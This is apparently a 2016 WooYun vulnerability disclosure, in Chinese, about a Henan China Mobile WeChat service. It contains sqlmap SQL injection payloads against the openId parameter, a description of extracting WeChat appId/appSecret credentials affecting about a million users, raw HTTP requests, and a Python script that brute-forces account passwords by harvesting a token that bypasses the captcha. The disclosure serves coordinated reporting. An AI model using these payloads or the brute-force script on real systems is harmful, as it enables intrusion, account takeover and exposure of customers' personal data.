漏洞概要 关注数(11) 关注此漏洞
缺陷编号: WooYun-2016-180153
漏洞标题: 河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞
相关厂商: 中国移动
漏洞作者: 路人甲
提交时间: 2016-03-02 16:55
公开时间: 2016-04-18 17:47
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 12
漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系
Tags标签: 无
漏洞详情
披露状态:
2016-03-02: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商已经确认,细节仅向厂商公开
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-18: 细节向公众公开
简要描述:
可以登录多个移动公众微信号、
详细说明:
河南移动10086公众微信
用户绑定
浏览器打开
openId为关住公众微信的OPNEID
accountId为河南10086公众微信号对应的ID
在绑定的时候,OpenId可任意,accountId必须为特定的ID
随意打开一个
查话费、查流量、查账单
同样的SQL注入
1.http://**.**.**/weixin/suggestionPersonController.dogoRandomPage&openId=oMAmUjsuZysnvrSiCNwfOZHP5P1Y
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: openId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: goRandomPage&openId=*****rSiCNwf*****
' AND 7008=7008 AND 'uVHO'='uVHO
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: goRandomPage&openId=
*****rSiCNwf*****
' AND (SELECT 9431 FROM(SELECT COUNT(*),CONCAT(0x716d766c71,(SELECT (CASE WHEN (9431=9431) THEN 1 ELSE 0 END)),0x717a737971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'QnuJ'='QnuJ
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: goRandomPage&openId=
*****rSiCNwf*****
' AND SLEEP(5) AND 'YXHe'='YXHe
---
web application technology: JSP
back-end DBMS: MySQL 5.0
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] weixin
current user: 'root@**.**.**.**'
*****e: w*****
*****-----------*****
***** *****
*****-----------*****
*****509 *****
*****510 *****
*****601 *****
***** *****
*****508 *****
*****511 *****
*****602 *****
***** *****
***** *****
*****507 *****
*****rson *****
*****506 *****
*****on *****
*****ze *****
***** *****
***** *****
*****603 *****
*****ord *****
*****_record *****
*****tal *****
*****al *****
***** *****
***** *****
*****otal *****
*****al *****
*****d *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****rson_tj *****
*****505 *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****zeitem *****
***** *****
*****copy *****
*****_default *****
***** *****
***** *****
*****ssage *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****le *****
***** *****
***** *****
*****_welcome *****
***** *****
*****407 *****
*****age *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****e *****
*****rd *****
*****l *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****age *****
*****rface_setti*****
***** *****
***** *****
***** *****
***** *****
*****-----------*****
用户信息什么的就不看了 直接看其中一个和公众号有关的表
表
*****count*****
中数据如下:
id,appId,wxbs,token,zhdesc,wxname,yytName,areacode,imagepath,wxaccount,appSecret,projectUrl,accounttype,isopencustomer
有appId和appSecret 那不就是公众微信所用的
使用河南移动10086
获取用户
一百多万
就不发消息测试了
pingdingshanyidong
看名字应该是平顶山移动
其他16个公众号就不再查看了
漏洞证明:
这个程序还有另外一个错误
http://**.**.**.**/weixin/userInfoController.do?jumpSuView&openId=任意未绑定的&accountId=402880a94742e24e014742e8942b0002
虽然有验证码 但是验证码在页面中写着呢 最后发现 验证码竟然无用
访问页面:
GET /weixin/userInfoController.do?jumpSuView&openId=1&accountId=402880a**********42b0002 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Cache-Control: max-age=0
提交页面
POST /weixin/userInfoController.do?su&isdtyzm=false HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/weixin/userInfoController.do?jumpSuView&openId=wooyun&accountId=4028********742e8942b0002
Content-Length: 62
Cookie: td_cookie=652281487;JSESSIONID=C278D7A293DE2E6566FB14D43695AFB1; AlteonP=BPAiI2oYYAqPmUEuVdxzKA$$
X-Forwarded-For: **.**.**.**
Connection: keep-alive
token=4145310724521898&mobile=13838381111&passwrod=111111&tjm=
发现竟然没有验证码,而是token
查看页面可以发现 token竟然写在页面中
步骤:访问页面,获取token和cookie,提交时带上cookie和token
就可以进行登录了
需要注意 当openId被绑定过后,访问该页面时,会直接显示绑定该手机号的用户的信息,所以在爆破的时候我把openId都设置为该用户的手机号
简单的代码如下
#encoding=utf-8
import httplib
import string
import sys
import random
import urllib
import json
from bs4 import BeautifulSoup
reload(sys)
cookies = ''
sys.setdefaultencoding('utf-8')
def gettoken():
global cookies
conn = httplib.HTTPConnection('**.**.**.**',80, timeout=500)
conn.request(method='GET',
url="/weixin/userInfoController.do?jumpSuView&openId=&accountId=402880a94742e24e014742e8942b0002")
resp = conn.getresponse()
html_doc = resp.read()
#print resp.getheaders()
cookies = resp.getheader('set-cookie')
#print cookies
soup = BeautifulSoup(html_doc)
#print soup
return soup.input["value"]
def isBind(mobile,passwrod):
global cookies
values={
'token':gettoken(),
'mobile':mobile,
'passwrod':passwrod,
'tjm':''
}
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://**.**.**.**/weixin/userInfoController.do?jumpSuView&openId=%s&accountId=402880a94742e24e014742e8942b0002'%mobile,
'Cookie':cookies
}
conn = httplib.HTTPConnection('**.**.**.**',80, timeout=500)
conn.request(method='POST',
url="/weixin/userInfoController.do?su&isdtyzm=false",
body =urllib.urlencode(values),
headers=headers)
resp = conn.getresponse()
html_doc = resp.read()
#print html_doc
result = json.loads(html_doc)
return '手机号:'+values['mobile']+',密码:'+values['passwrod']+';'+result['msg']
for i in range(100, 999):
print isBind('河南手机'+str(i),'888888')
该接口只能为河南移动,而且没有限制
绑定成功后则可查看该用户的一些消费信息,然后也可以用爆破出来的密码登录移动厅
爆破是个体力活 测试了几百个 没一个成功
修复方案:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2016-03-04 17:47
厂商回复:
CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
评论